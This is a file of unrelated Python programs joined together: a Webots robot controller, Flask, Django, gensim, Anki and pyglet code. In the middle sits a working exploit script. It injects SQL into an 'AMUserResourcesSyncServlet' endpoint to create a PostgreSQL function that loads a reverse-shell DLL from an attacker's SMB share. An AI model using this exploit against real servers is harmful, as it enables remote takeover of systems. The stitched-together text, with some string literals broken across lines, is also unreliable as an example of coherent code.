"""Robot_controller controller."""
import logging
import math

import controller
import numpy as np

from calculations import *
from reroute import reroute_after_collision_prevention
from field import Field
from instrumentation import trace
from robot import Robot

np.set_printoptions(suppress=True)

DEBUG_PID = False
DEBUG_TRACING = False
DEBUG_TRANSLATE = False
DEBUG_MAINLOOP = False
Robot.DEBUG_COLLISIONS = False
BOX_AVOIDANCE = False

# Default level is WARNING, change it to DEBUG
logging.basicConfig(level=logging.DEBUG)

if not DEBUG_TRACING:
    logging.getLogger('tracing').setLevel(logging.INFO)

# Initialize robot
r = controller.Robot()
if r.getName() == 'robot_red':
    robot = Robot(r, 'red')

else:
    robot = Robot(r, 'green')

red_field = Field('red')
green_field = Field('green')

@trace
def encircle(coord, location, field):
    """
    location is 3D gps coordinates
    coord is 2D target coordinate

    this assumes both coord and location are in the same half of the field
    """
    if not robot.field_collision(coord, field):
        pass
    else:
        checkpoint, bearing = robot.find_closest_point(field)
        move(checkpoint, error_translation=0.1)

        speed_inner_wheel = 2
        speed_outer_wheel = 3.5

        # determine whether its better to turn anticlockwise
        clockwise = turn_clockwise(coord, location, field)

        if clockwise:
            bearing += 90
            if bearing > 180:
                bearing -= 360
        else:
            bearing -= 90
            if bearing <= -180:
                bearing += 360

        PID_rotation(bearing)

        collision = robot.field_collision(coord, field)
        while collision:

            if clockwise:
                robot.set_motor_velocities(speed_inner_wheel, speed_outer_wheel)
            else:
                robot.set_motor_velocities(speed_outer_wheel, speed_inner_wheel)
            robot.step()
            collision = robot.field_collision(coord, field)

    robot.reset_motor_velocities()

@trace
@reroute_after_collision_prevention(robot)
def move_avoid_fields(coord, error_translation=0.1):
    """
    avoids both fields
    """
    location = robot.gps.getValues()

    if location[2] * coord[1] >= 0:  # target and current location are on the same half

        if location[2] > 0:
            # red half
            encircle(coord, location, red_field)
        else:
            # green half
            encircle(coord, location, green_field)
        PID_translation(coord, error_translation)

    else:  # opposite halfs
        if coord[0] > 0.5 or coord[0] < -0.5:
            intermediate = [coord[0], 0]
        else:
            if coord[0] > 0:
                intermediate = [0.5, 0]
            else:
                intermediate = [-0.5, 0]
        if location[2] > 0:  # red half
            intermediate[1] = -0.2
            encircle(intermediate, location, red_field)
            PID_translation(intermediate, error_translation)

            encircle(coord, robot.gps.getValues(), green_field)
            PID_translation(coord, error_translation)
        else:  # green half
            intermediate[1] = 0.2
            encircle(intermediate, location, green_field)
            PID_translation(intermediate, error_translation)

            encircle(coord, robot.gps.getValues(), red_field)
            PID_translation(coord, error_translation)

    return

# @trace
def PID_rotation(required, threshold=0.4) -> bool:
    """Rotate until the required bearing is reached.
    Exits if error < threshold or oscillatory behaviour is detected.

    Args:
        required (float): Bearing in degrees.
        threshold (float, optional): Maximum acceptable error. Defaults to 0.4.
    Returns:
        bool: True if error < threshold
    """
    kP = 11.0
    kI = 0.90
    kD = 7.55

    def angle_between(a, b):
        return min(a - b, a - b + 360, a - b - 360, key=abs)

    error = angle_between(required, robot.bearing1(robot.compass))
    error_integral = 0
    error_derivative = 0

    while abs(error) > threshold:
        P = kP * error
        I = kI * error_integral
        D = kD * error_derivative

        v = np.clip(P + I + D, -robot.MAX_VELOCITY, robot.MAX_VELOCITY)

        # if DEBUG_PID:
        # print(f'{P=}, {I=}, {D=}, {v=}, {error=}, {error_integral=}, {error_derivative=}')

        robot.set_motor_velocities(-v, v)

        time_elapsed = robot.step()

        new_error = angle_between(required, robot.bearing1(robot.compass))

        # If more than one TIME_STEPs elapsed, then the robot had stopped due to collision prevention
        # Reset to avoid blowing up
        if np.isclose(time_elapsed, robot.TIME_STEP / 1000, atol=0.001):
            error_integral += new_error * time_elapsed
            error_derivative = (new_error - error) / time_elapsed
        else:
            if DEBUG_PID:
                print('PID_rotation resetting state due to collision detection')
            error_integral = 0
            error_derivative = 0

        # Detect oscillatory behaviour
        # On a 64 ms TIME_STEP, it sometimes oscillates between 0.39 and -0.39 deg error
        if np.isclose(error, -new_error, atol=0.1):
            if DEBUG_PID:
                print('PID_rotation halted due to oscillations')
            return False

        error = new_error

    robot.reset_motor_velocities()

    return True

@trace
def PID_translation(coord, final_error=0.15, reverse=False):
    """input: 2D desired coordinate coord,
    The function moves in a straight line until the desired location is within
    the final error distance"""
    coord = np.clip(coord, -1, 1)

    # Euclidean distance
    error = np.linalg.norm(coord - robot.current_location())
    error_integral = 0
    error_derivative = 0

    kP = 10.0
    kI = 0.9
    kD = 2.0

    time_since_rotation = np.inf
    while error > final_error:
        # Correct bearing (returns immediately if no correction is required)
        if time_since_rotation > 0.2:
            bearing = required_bearing(coord, robot.gps.getValues())
            if reverse:
                if bearing > 0:
                    bearing -= 180
                else:
                    bearing += 180

            PID_rotation(bearing, 5)
            time_since_rotation = 0

        P = kP * error
        I = kI * error_integral
        D = kD * error_derivative
        v = np.clip(P+I+D, -robot.MAX_VELOCITY, robot.MAX_VELOCITY)

        if reverse:
            v *= -1

        robot.set_motor_velocities(v, v)

        time_elapsed = robot.step()
        time_since_rotation += time_elapsed

        new_error = np.linalg.norm(coord - robot.current_location())

        if np.isclose(time_elapsed, robot.TIME_STEP / 1000, atol=0.001):
            error_integral += new_error * time_elapsed
            error_derivative = (new_error - error) / time_elapsed
        else:
            if DEBUG_TRANSLATE:
                print('PID_translation resetting state due to collision detection')
            error_integral = 0
            error_derivative = 0

        error = new_error

        if BOX_AVOIDANCE:
            box_collision(coord, threshold_distance=0.45)

    robot.reset_motor_velocities()

@trace
@reroute_after_collision_prevention(robot)
def move(coord, error_translation=0.1):
    """
    Straight line move
    """
    PID_translation(coord, error_translation)

@trace
def sweep(velocity=1.8, swept_angle=355):
    """
    do a 180 degree spin while collecting data from distance sensor
    input: velocity of wheels/how fast is the rotation
    output: numpy array with stored values from the distance sensor
    """

    # find current rotation [0-360 degrees]
    initial_angle = robot.bearing(robot.compass1)

    # store potential boxes locations
    boxes = []

    # sweep 360 degrees
    swept_angle = 0

    # wait for infrared sensor to initialize
    # worst-case scenario: 48 ms for a measurement + 5 ms to put the output on the bus
    while robot._robot.getTime() < (48 + 5) / 1000:
        robot.step(read_sensors=False)

    while swept_angle < 355:
        robot.set_motor_velocities(-velocity, velocity)

        robot.step(read_sensors=False)

        # distance from robot centre to wall in this direction
        current_angle = robot.bearing(robot.compass1)
        current_position = robot.gps.getValues()
        wall_dist = get_wall_position(current_angle, current_position)

        # wall_dist is decreased by robot-sensor distance
        wall_dist -= 0.11

        # get quantized infrared level and convert to volts
        infrared_volts = robot.infrared_analogue.read() * robot.infrared_vref / 1023
        # get infrared reading and convert to meters
        infrared_dist = 0.7611 * math.pow(infrared_volts, -0.9313) - 0.1252

        # print(infrared_dist, wall_dist)

        # if measured distance is less than wall_dist then assume there's a box
        # also if wall is more than 1.5 away disregard measurements because it's further than sensor's range
        if abs(wall_dist - infrared_dist) > 0.09 and wall_dist < 1.4:
            valid, x, z = potential_box_position(infrared_dist + 0.11, current_angle, current_position)
            if(valid):
                boxes.append([x, z])

        # check if boxes are in between the robots
        if abs(wall_dist - infrared_dist) > 0.1 and wall_dist > 1.4 and abs(infrared_dist) < 0.4:
            valid, x, z = potential_box_position(infrared_dist + 0.11, current_angle, current_position)
            if(valid):
                boxes.append([x, z])
                # print(x)

        if current_angle > initial_angle:
            swept_angle = current_angle - initial_angle
        else:
            swept_angle = 360 - initial_angle + current_angle

    locations = box_position(np.array(boxes))
    # print(locations)

    robot.reset_motor_velocities()
    robot.step(read_sensors=False)

    robot.sweep_locations = locations

    return locations

@trace
def second_sweep(velocity=-0.5, swept_angle=355):
    """
    360 sweep to find other boxes which are hidden
    input: velocity of wheels/how fast is the rotation
    output: numpy array with stored values from the distance sensor
            -1 if there are no blocks left to be picked up
    """

    robot.step()

    if(robot.colour == 'red'):
        move([0.0161, 1])
        move([0.4, 1])
        move([0.4, 0])
        PID_rotation(0)
    else:
        move([0.0161, -1])
        move([-0.4, -1])
        move([-0.4, 0])
        PID_rotation(180)

    robot.send_message('sweep ready', 9)
    robot.sweep_ready = True

    # wait until both robots are in the right position
    while not robot.other_sweep_ready:
        robot.step()
    # find current rotation [0-360 degrees]
    initial_angle = robot.bearing(robot.compass1)

    # store potential boxes locations
    boxes = []

    # sweep 360 degrees
    swept_angle = 0

    # wait for infrared sensor to initialize
    # worst-case scenario: 48 ms for a measurement + 5 ms to put the output on the bus
    while robot._robot.getTime() < (48 + 5) / 1000:
        robot.step()

    while swept_angle < 355:
        robot.set_motor_velocities(-velocity, velocity)

        robot.step()
        # distance from robot centre to wall in this direction
        current_angle = robot.bearing(robot.compass1)
        current_position = robot.gps.getValues()
        wall_dist = get_wall_position(current_angle, current_position)

        # wall_dist is decreased by robot-sensor distance
        wall_dist -= 0.11

        # get quantized infrared level and convert to volts
        infrared_volts = robot.infrared_analogue.read() * robot.infrared_vref / 1023
        # get infrared reading and convert to meters
        infrared_dist = 0.7611 * math.pow(infrared_volts, -0.9313) - 0.1252

        # print(infrared_dist, wall_dist)

        # puts all measurements into potential_box_position and filters depending on whether box is
        # inside the boxes
        if(abs(wall_dist - infrared_dist) > 0.1 and (wall_dist < 1.4)):
            valid, x, z = potential_box_position(infrared_dist + 0.11, current_angle, current_position)
            # field_boxes_green = [[0.2, -0.205], [0.2,-0.595], [-0.2,-0.595], [-0.2, -0.195]]
            # field_boxes_red   = [[0.2, 0.205] , [0.2, 0.595], [-0.2, 0.595]. [-0.2, 0.195]]
            # field_red_robot   = [[0.12, 0.275], [0.12, -0.275],  [0.66, -0.275], [0.66, 0.275]]
            # field_greed_robot = [[-0.12, 0.275], [-0.12, -0.275], [-0.66, -0.275], [-0.66, 0.275]]

            avoid = 0
            # ignore boxes that are in the fields
            if (-0.2 < x < 0.2) and (-0.595 < z < -0.195):
                avoid = 1
            elif (-0.2 < x < 0.2) and (0.195 < z < 0.595):
                avoid = 1
            # ignore robots
            elif (-0.3 < z < 0.3) and (0.1 < x < 0.7):
                avoid = 1
            elif(-0.3 < z < 0.3) and (-0.7 < x < -0.1):
                avoid = 1

            elif valid and avoid == 0:
                boxes.append([x, z])

        if current_angle > initial_angle:
            swept_angle = current_angle - initial_angle
        else:
            swept_angle = 360 - initial_angle + current_angle

    # try/except since other functions will give errors if no blocks
    # have been found
    try:
        locations = box_position(np.array(boxes))
        robot.reset_motor_velocities()
        robot.step()
    except:
        locations = np.array([])

    robot.sweep_locations = locations
    return locations

@trace
@reroute_after_collision_prevention(robot)
def return_box_field(coord):
    """
    function that makes robot return a box in the specified field without it clashing with
    other boxes that are already in the field
    input 3D coordinates of the robot
    """
    robot.carrying = True
    intermediate, final = robot.field.get_to_field(coord)
    move_avoid_fields(intermediate, error_translation=0.15, reroute=False)
    if final[0] > 0:
        PID_rotation(-90)
    else:
        PID_rotation(90)

    PID_translation(final, 0.2)

    robot.withdraw_dualclaw()

    robot.move_forwards(-0.15, 0.02)
    robot.carrying = False
    return

@trace
@reroute_after_collision_prevention(robot)
def finish_in_field():
    """
    for the ending of the task, robot goes and stays in its field
    """
    if robot.colour == 'red':
        intermediate = (0, 1)
        final = (0, 0.4)
    else:
        intermediate = (0, -1)
        final = (0, -0.4)

    move_avoid_fields(intermediate, reroute=False)

    # TODO: Think of something better
    if len(robot.box_list) != 0 and robot.field.available():
        return False

    if robot.colour == 'red':
        PID_rotation(180)
    else:
        PID_rotation(0)

    if len(robot.box_list) != 0 and robot.field.available():
        return False

    PID_translation(final, reverse=True)

    return True

def test_collisions_1():
    robot.step()

    if robot.colour == 'green':
        move((0, 1))

    if robot.colour == 'red':
        move((-0, -1))

def test_collisions_2():
    """
    position green to (0, -0.4)
    position red to (0.18, 0.4)
    """
    robot.step()

    if robot.colour == 'green':
        move((0, 1))

    if robot.colour == 'red':
        move((0.18, -1))

def test_collisions_3():
    """
    position red to (-0.4, 0.4)
    leave green as it is
    """
    robot.step()

    if robot.colour == 'green':
        move((0, 1))
    if robot.colour == 'red':
        move((1, 0.4))

def test_collisions_4():
    # FIXME
    robot.step()

    if robot.colour == 'green':
        move((-0.3, -0.4))
        while robot._robot.getTime() < 20:
            robot.step()
        move_avoid_fields((0.3, 0.4))
    if robot.colour == 'red':
        move((0, 0))
        move_avoid_fields((-0.5, 0))

def test_collisions_5():
    # FIXME
    robot.step()

    if robot.colour == 'green':
        move((-0.3, -0.4))
        while robot._robot.getTime() < 20:
            robot.step()
        move_avoid_fields((0.3, 0.5))
    if robot.colour == 'red':
        move((0, 0))
        move_avoid_fields((-0.5, 0))

def test_collisions_6():
    robot.step()

    if robot.colour == 'green':
        move((-0.6, -0.4))
        while robot._robot.getTime() < 10:
            robot.step()
        move_avoid_fields((0.5, 0.8))
    if robot.colour == 'red':
        move((0, 0))
        move_avoid_fields((-0.5, 0))

def test_collisions_7():
    # FIXME
    robot.step()

    if robot.colour == 'green':
        move((-0.6, -0.4))
        while robot._robot.getTime() < 10:
            robot.step()
        move_avoid_fields((0.5, 0.8))
    if robot.colour == 'red':
        move((0, 0))
        while robot._robot.getTime() < 10:
            robot.step()
        move_avoid_fields((-0.5, 0))

def test_collisions_8():
    robot.step()

    if robot.colour == 'green':
        move((-0.6, -0.4))
        while robot._robot.getTime() < 10:
            robot.step()
        move_avoid_fields((0.5, 0.8))
    if robot.colour == 'red':
        move((-0.1, 0))
        while robot._robot.getTime() < 18:
            robot.step()
        move_avoid_fields((-0.5, 0))

def test_move_forwards():
    robot.step()

    assert robot.move_forwards(-0.4)
    for _ in range(10):
        robot.step()
    assert robot.move_forwards(0.1)

def test_move_forwards_2():
    robot.step()

    assert not robot.move_forwards(-2)
    assert robot.move_forwards(0.15)
    assert PID_rotation(20 if robot.colour == 'red' else 160)
    assert not robot.move_forwards(-2)
    assert robot.move_forwards(0.15)

def test_distance_function():
    robot.step()
    robot.step()
    robot.distance_too_small()

@trace
def box_collision(coord, threshold_distance=0.45):
    """
    check for collisions with closest box
    """

    def box_collision_detection(avoidance_box, coord, threshold_distance=0.45):
        check_points = [(0.4, 0.4), (0.4, -0.4), (0, 0), (0.8, 0.0),
                        (-0.4, 0.4), (-0.4, -0.4), (0, 0), (-0.8, 0.0)]
        coord = tuple(coord)
        if coord in check_points:
            # prioritise encirclement over box avoidance
            return False

        location = robot.gps.getValues()
        location = (location[0], location[2])

        m = (coord[1] - location[1])/(coord[0]-location[0])
        c = coord[1] - m*coord[0]

        x = np.linspace(min(coord[0], location[0]), max(coord[0], location[0]), 101, endpoint=True)
        z = m*x + c

        z1 = [i for i in z if (i > avoidance_box[1] - 0.1 and i < avoidance_box[1] + 0.1)]
        x1 = [i for i in x if (i > avoidance_box[0] - 0.1 and i < avoidance_box[0] + 0.1)]

        if z1 and x1:
            print(avoidance_box)
            print(location)
            print(coord, 'coord')
            return True

        return False

    boxes = np.array(Robot.unique_boxes)
    if not list(boxes):
        return
    distances = []
    for box in boxes:
        distance = np.linalg.norm(box - robot.current_location())
        distances.append(distance)

    i = distances.index(min(distances))
    avoidance_box = boxes[i]
    if not box_collision_detection(avoidance_box, coord, 0.45):
        return
    robot.reset_motor_velocities()

    required = required_bearing(avoidance_box, robot.gps.getValues())
    current_bearing = robot.bearing1(robot.compass)

    def angle_between(a, b):
        return min(a - b, a - b + 360, a - b - 360, key=abs)

    error = angle_between(required, current_bearing)

    def rotation_clockwise():
        bearing = required + 60
        if bearing > 180:
            bearing -= 360
        return bearing

    def rotation_anticlockwise():
        bearing = required - 60
        if bearing < -180:
            bearing += 360
        return bearing
    outer_velocity = 4.0
    inner_velocity = 2.0

    if error > 0:
        PID_rotation(rotation_anticlockwise())
        robot.set_motor_velocities(inner_velocity, outer_velocity)

    else:
        PID_rotation(rotation_clockwise())
        robot.set_motor_velocities(outer_velocity, inner_velocity)

    """PID_rotation(rotation_clockwise(current_bearing))
    wall_distance = get_wall_position(robot.bearing(robot.compass), robot.gps.getValues())
    outer_velocity = 3.0
    inner_velocity = 1.5
    print(wall_distance)

    if wall_distance > 0.4:
        robot.set_motor_velocities(inner_velocity, outer_velocity)

    else:
        PID_rotation(rotation_anticlockwise(current_bearing))
        robot.set_motor_velocities(outer_velocity, inner_velocity)"""
    collision = box_collision_detection(avoidance_box, coord, threshold_distance=0.45)
    while collision:
        required = required_bearing(avoidance_box, robot.gps.getValues())
        current_bearing = robot.bearing1(robot.compass)
        error = angle_between(required, current_bearing)
        distance = np.linalg.norm(box - robot.current_location())
        robot.step()
        collision = box_collision_detection(avoidance_box, coord, threshold_distance=0.45)
        print(collision)

    robot.reset_motor_velocities()
    return

def test_pid_rotation():
    PID_rotation(90)
    t = 0
    while t < 1:
        t += robot.step()
    PID_rotation(-45)
    while t < 2:
        t += robot.step()

print('********')
# robot.step(read_sensors=False)
# if robot.colour == 'red':
#    coord = (0.9,0.4)
#    move(coord)

# This part is executed

robot.step(read_sensors=False)

if robot.colour == 'green':
    PID_rotation(180)
else:
    PID_rotation(0)

positions = sweep()

robot.step(read_sensors=False)
robot.send_sweep_locations(positions)
robot.step(read_sensors=False)
initial_pass = True

robot.parked = False

while True:

    while len(robot.box_list) != 0 and robot.field.available():
        robot.parked = False
        robot.send_message('done', 4)

        t = robot.get_next_target()
        robot.current_target = t[1]

        if DEBUG_MAINLOOP:
            robot.update_unique_boxes()
            print(robot.get_unique_boxes(), 'all boxes')

        pos = t[1]
        # print(pos)
        robot.withdraw_dualclaw()

        if initial_pass:
            initial_pass = False
            move(pos)
        else:
            move_avoid_fields(pos, error_translation=0.1)

        robot.step()
        # if this is a new box and colour needs to be checked
        if t[0] == 0:

            # -1, -2 for errors, True for getting same colour, False for detecting different colour
            result = robot.get_target()

            if result == -1:
                print('did not detect box')
            elif result == -2:
                print('failed to detect colour after remeasure')
            elif result:
                robot.move_forwards(-0.10, 0.01)
                return_box_field(robot.gps.getValues())
            else:
                robot.move_forwards(-0.15, 0.02)
                valid, x, z = robot.remeasure_position()
                if valid:
                    robot.send_box_location(np.array([x, z]))

        else:  # this is a known box, got a location form another robot, just need to pick it up
            robot.close_dualclaw()
            if not robot.dsUltrasonic.getValue() > 0.15:
                # check if it is actually holding a box, otherwise just go on looking for the next box
                robot.move_forwards(-0.06, 0.01)
                return_box_field(robot.gps.getValues())
            else:
                robot.withdraw_dualclaw()

    if not robot.parked:
        robot.parked = finish_in_field()
        robot.current_target = []
        robot.send_message('parked', 4)

        # check if that robot finished finding it's boxes
        if not robot.field.available:

            if len(robot.box_list) > 0:
                # send the remaining locations to the other robot
                for _, item in enumerate(robot.box_list):
                    pos = item[1]
                    robot.send_box_location(pos)
            robot.box_list = []

    if((robot.field.available() == True) and robot.sweep_ready == False):
        robot.send_message('available', 8)

    # Yield if parked, otherwise Webots will be stuck waiting for us
    robot.step()

    # Second sweep check
    if((robot.other_parked == True) and (robot.parked == True) and ((robot.field.available() == True) or (robot.other_available == True)) and (robot.sweep_ready == False)):

        robot.parked = False
        positions_second = second_sweep(1.8)

        robot.send_sweep_locations(positions_second)
        robot.second_sweep_locations_ready = True
        robot.send_message('locations sent', type=10)

        while not robot.other_second_sweep_locations_ready:
            robot.step()
        robot.compare_sweep_results()

        if not robot.field.available:

            if len(robot.box_list) > 0:
                # send the remaining locations to the other robot
                for _, item in enumerate(robot.box_list):
                    pos = item[1]
                    robot.send_box_location(pos)
            robot.box_list = []

        # print(robot.box_list)


from flask import Flask
from spider import get_weather

app = Flask(__name__)

@app.route('/')
def weather():
    try:
        resp = get_weather()
    except Exception as e:
        return ""

    return resp

if __name__ == '__main__':
    app.run(debug=True)


import sys, requests, argparse
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

s = requests.session()
proxies = {
  "http": "http://127.0.0.1:8080",
  "https": "http://127.0.0.1:8080",
}

def delivery(ip, lhost):
	print("\n[+] Crafting payload")
	query = "CREATE OR REPLACE FUNCTION dummy_function(int) RETURNS int AS $$\\\\%s\\revshell\\revshell.dll$$, $$dummy_function$$ LANGUAGE C STRICT;--" % lhost
	print("\n[+] Pulling DLL payload file from file share")
	target = "https://%s/servlet/AMUserResourcesSyncServlet?ForMasRange=1&userId=1;" % ip
	s.get(target + query, proxies=proxies, verify=False)

def main():
	parser = argparse.ArgumentParser()
	parser.add_argument('--ip', help='Target IP address', required=True)
	parser.add_argument('--lhost', help='Local listener IP address', required=True)
	if len(sys.argv)<=1:
		print("[!] Usage: python3 %s --ip 192.168.0.5:8443 --lhost 192.168.0.1" % sys.argv[0])
		parser.print_help()
		sys.exit(-1)
	args = parser.parse_args()
	ip = args.ip
	lhost = args.lhost

	delivery(ip, lhost)

if __name__ == "__main__":
	main()


# -*- coding: UTF8 -*-
from operator import mul

from random import randrange

from django.test import TestCase
from django.utils import simplejson

class PagesTest(TestCase):
    """Math engine app tests"""

    def test_math_engine_exists(self):
        """GET math engine exists?"""

        values = [randrange(-10, 10) for i in range(5)]
        answer = self.client.get('/math-engine/?values=%s' % values)
        self.assertEqual(answer.status_code, 200, msg=(
            'GET /math-engine/?values=%s %s' % (values, answer.status_code)))

    def test_math_engine_is_correct(self):
        """GET math engine response is correct?"""

        values = [randrange(-10, 10) for i in range(5)]
        answer = self.client.get('/math-engine/?values=%s' % values)
        # Load JSON
        content_dict = simplejson.loads(answer.content)
        # Sum
        self.assertEqual(content_dict['sum'], sum(values))
        # Product
        self.assertEqual(content_dict['product'], reduce(mul, values))


from django.contrib.auth.models import (
    AbstractUser,
    UserManager as DjangoUserManager,
)
from django.db import models

# 프록시 모델에서 사용했던 프록시 모델 매니저
from rest_framework.authtoken.models import Token

class UserManager(DjangoUserManager):
    def create_superuser(self, *args, **kwargs):
        return super().create_superuser(age=30, *args, **kwargs)

class User(AbstractUser):
    # 소셜 유저 타입 정의
    USER_TYPE_FACEBOOK = 'f'
    USER_TYPE_DJANGO = 'd'
    CHOICES_USER_TYPE = (
        (USER_TYPE_FACEBOOK, 'facebook'),
        (USER_TYPE_DJANGO, 'django'),
    )
    user_type = models.CharField(max_length=1, choices=CHOICES_USER_TYPE)
    # 여러 가지 요소들
    nickname = models.CharField(max_length=50, blank=True, null=True)
    img_profile = models.ImageField(
        '프로필 이미지',
        upload_to='user',
        blank=True)
    age = models.IntegerField('나이')
    # 좋아요
    like_posts = models.ManyToManyField(
        'post.Post',
        verbose_name='좋아요 누른 포스트 목록',
        blank=True
    )
    # 내가 팔로우하고 있는 유저 목록
    #
    # 내가 A를 follow한다 == 나는 A의 follower

    following_users = models.ManyToManyField(
        'self',
        through='Relation',
        symmetrical=False,
        related_name='followers',
    )

    objects = UserManager()

    class Meta:
        verbose_name = '사용자'
        verbose_name_plural = f'{verbose_name} 목록'

    # REQUIRED_FIELDS = AbstractUser.REQUIRED_FIELDS + ['age']

    @property
    def token(self):
        return Token.objects.get_or_create(user=self)[0].key

    def follow_toggle(self, user):
        """
        1. 주어진 user가 user 객체인지 확인

        :param user:
        :return:
        """
        if not isinstance(user, User):
            raise ValueError('"user" argument must be User instance!')

        relation, relation_created = self.following_user_relations.get_or_create(to_user=user)
        if relation_created:
            return True
        relation.delete()
        return False

class Relation(models.Model):
    # User follow 목록을 가질 수 있도록
    # MTM에 대한 중개모델을 구성
    # from_user, to_user, created_at으로 3개의 필드를 사용
    from_user = models.ForeignKey(
        User,
        on_delete=models.CASCADE,
        related_name='following_user_relations'
    )
    to_user = models.ForeignKey(
        User,
        on_delete=models.CASCADE,
        related_name='follower_relations'
    )
    created_at = models.DateTimeField(auto_now_add=True)

    def __str__(self):
        return f'Relation (' \
               f'from: {self.from_user.username}, ' \
               f'to: {self.to_user.username})'


#%%
import gensim
import os
import collections
import smart_open
import random
import pickle
import time
import sys
from gensim.test.utils import get_tmpfile
from callback import EpochLogger, EpochSaver

data_prefix = ''.join(sys.argv[1:])
rela_path = 'dataset/jp/' + data_prefix
text_path, dic_path = rela_path + '.txt', rela_path + '.dic'

# Load the dictionary (url 2 indices)
print("Load dictionary for url to indices...", flush=True)
t1 = time.time()
with open(dic_path, 'rb') as f:
    url_to_i =  pickle.load(f)

t2 = time.time()
print('Finished loading dictionary, took {:.3f} secs\n'.format(t2 - t1), flush=True)

def read_corpus(fname, token_only=False):
    with smart_open.open(fname, encoding='utf-8') as f:
        i = 0
        for line in f:
            url, *words = line.split()
            words = ' '.join(words)
            if token_only:
                yield gensim.utils.simple_preprocess(words)
            else:
                yield gensim.models.doc2vec.TaggedDocument(gensim.utils.simple_preprocess(words), [i])
                i += 1

print("Start loading the corpus...", flush=True)
t1 = time.time()
train_corpus = list(read_corpus(text_path))
t2 = time.time()
print("Finished loading the corpus, took {:.3f} secs".format(t2 - t1), flush=True)
print("The first 10 data of corpus are:\n")
for i in range(10):
    print(train_corpus[i], '\n')

total_word_cnt = sum([len(doc.words) for doc in train_corpus])
print("The corpus has {} instances in total, {} words\n".format(len(train_corpus), total_word_cnt), flush=True)

# Build a Doc2Vec model with Japanese text data crwaled on specified date.
epoch_logger = EpochLogger()
epoch_saver = EpochSaver('model/{}_doc2vec_jp'.format(data_prefix))

print("Start to train the model...", flush=True)
model = gensim.models.doc2vec.Doc2Vec(vector_size=100, min_count=5, epochs=20, callbacks=[epoch_logger, epoch_saver])
model.build_vocab(train_corpus)

t1 = time.time()
model.train(train_corpus, total_examples=model.corpus_count, epochs=model.epochs)
t2 = time.time()
print("Finished training, took {:.3f} secs\n".format(t2 - t1), flush=True)

# Save the corpus as a list.
t1 = time.time()
print("Start to pickle the training corpus.", flush=True)

with open('dataset/jp/{}_train_corpus.lst'.format(data_prefix), 'wb') as f:
    pickle.dump(train_corpus, f)

t2 = time.time()
print("Finished pickling the training, corpus, took {:.3f} secs\n".format(t2 - t1), flush=True)


import genanki
import random
from datetime import datetime
from ..shared.date_core import format_dt
from .templates import to_base_template, to_base_highlight_template
from .question_type import QuestionType
from .parse_type import ParseType

def generate_anki(words_or_questions, parse_type):
    date = format_dt(datetime.now()).replace(' ', '_')
    deck_id = get_id()
    deck_name = f"English_{date}"
    my_deck = genanki.Deck(deck_id, deck_name)
    for w_or_q in words_or_questions:
        model = get_model(deck_name)
        anki_question = None
        anki_answer = None
        if parse_type == ParseType.URL.value:
            anki_question, anki_answer = get_from_dict('translation', 'original_value', w_or_q)
        elif parse_type == ParseType.MARKDOWN.value:
             anki_question, anki_answer = get_from_dict('question', 'answer', w_or_q)
        elif parse_type in [ParseType.JSON.value, ParseType.YAML.value]:
            question_type = w_or_q.get('type')
            question_answer_func = get_question_answer_func(question_type)
            anki_question, anki_answer = question_answer_func(w_or_q)
        my_note = genanki.Note(model=model, fields=[anki_question, anki_answer])
        my_deck.add_note(my_note)
    anki_folder = './'
    anki_questions_file = anki_folder + f"anki_question_{date}.apkg"
    genanki.Package(my_deck).write_to_file(anki_questions_file)
    return anki_questions_file

def get_question_answer_func(question_type):
    if question_type == QuestionType.SIMPLE_QUESTION.value:
        return generate_simple_question
    if question_type == QuestionType.HIDDEN_WORD_IN_SENTENCE.value:
        return generate_hidden_word_in_sentence
    if question_type == QuestionType.RANDOM_WORD_SENTENCE.value:
        return generate_random_word

def get_model(deck_name):
    model_id = get_id()
    model = genanki.Model(
        model_id,
        deck_name,
        fields=[
          {'name': 'Question'},
          {'name': 'Answer'},
        ],
        templates=[
          {
            'name': 'Card type 1',
            'qfmt': '{{Question}}',
            'afmt': '{{FrontSide}}
{{Answer}}',
          },
        ]
    )
    return model

def get_id():
    return random.randrange(1 << 30, 1 << 31)

def get_titles(question):
    next_line = '
'
    question_title = f"{question.get('questionTitle')}{next_line}" if question.get('questionTitle') else ''
    answer_title = f"{question.get('answerTitle')}{next_line}" if question.get('answerTitle') else ''
    return question_title, answer_title

def generate_simple_question(question):
    question_title, answer_title = get_titles(question)
    anki_question = to_base_template(f"{question_title}{question.get('question')}")
    anki_answer = to_base_template(f"{answer_title}{question.get('answer')}")
    return anki_question, anki_answer

def generate_hidden_word_in_sentence(question):
    question_title, answer_title = get_titles(question)
    anki_question = question.get('src')
    anki_answer = question.get('src')
    for i, q in enumerate(question.get('questions')):
        anki_question = anki_question.replace('{'+str(i)+'}', q)
        anki_answer = anki_answer.replace('{'+str(i)+'}', f"{question.get('answers')[i]}")
    anki_question = to_base_template(f'{question_title}{anki_question}')
    anki_answer = to_base_highlight_template(f'{answer_title}{anki_answer}')
    return anki_question, anki_answer

def generate_random_word(question):
    question_title, answer_title = get_titles(question)
    is_question = True if question.get('src').find('?') > -1 else False
    sentence_in_words = question.get('src').replace('?', '').split()
    random.shuffle(sentence_in_words)
    if is_question:
        sentence_in_words.append('?')
    anki_question = to_base_template(f"{question_title}{' / '.join(sentence_in_words)}")
    anki_answer = to_base_template(f"{answer_title}{question.get('src')}")
    return anki_question, anki_answer

def get_from_dict(front_key, back_key, src):
    anki_question = to_base_template(src.get(front_key))
    anki_answer = to_base_template(src.get(back_key))
    return anki_question, anki_answer


'''
Galavantria
created by SentientDragon5
started March 2019
Art credit to
 - scratch.com users gamerkeep & ninja545
 - FangTrooper56
'''
import pyglet; import keyboard; import time
clock = 0
#window init
winW = 600; winH = 600
window = pyglet.window.Window(winW + 300,winH)
window.set_caption('Gallivantria')
window.set_icon(pyglet.image.load('n_16x16.png'), pyglet.image.load('n_32x32.png'))
invisible = pyglet.image.load('invisible.png')
#tile init
tileW = 20 ; tileH =20
tile = {}
for info in ['.','a','d','e','f','g','k','l','p','q','r','s','w','x']:
    tile[info] = pyglet.image.load(''.join(['t_',info,'.png']))
ren = pyglet.sprite.Sprite(tile['s'], x=60, y=60)
ren.update(None,None,None,None,float(1/3),float(1/3))
#objects init
objectkey = {}
for info in ['b','bd','bd','bd2','br','bo','bs','c','ch','f0','f1','f2','fs','gt','lt','mt','ps','s','sb','lb','st','sg','sy','t','v','vf','w']:
    objectkey[info] = pyglet.image.load(''.join(['o_',info,'.png']))
objRen = pyglet.sprite.Sprite(objectkey['b'], x=40, y=40)
